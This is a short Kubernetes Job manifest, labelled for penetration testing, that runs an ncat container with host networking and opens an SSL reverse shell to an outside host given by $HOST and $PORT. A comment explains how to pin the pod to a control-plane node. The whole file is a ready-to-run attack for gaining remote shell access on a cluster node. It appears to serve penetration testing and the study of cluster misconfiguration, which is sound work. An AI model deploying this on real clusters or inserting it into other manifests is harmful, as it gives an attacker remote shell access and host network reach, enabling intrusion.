apiVersion: batch/v1
kind: Job
metadata:
  name: hostnetwork-revshell-job
  labels:
    app: pentest
    type: job
spec:
  template:
    spec:
      hostNetwork: true
      containers:
      - name: hostnetwork-revshell-job
        image: raesene/ncat
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
      #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
      restartPolicy: OnFailure
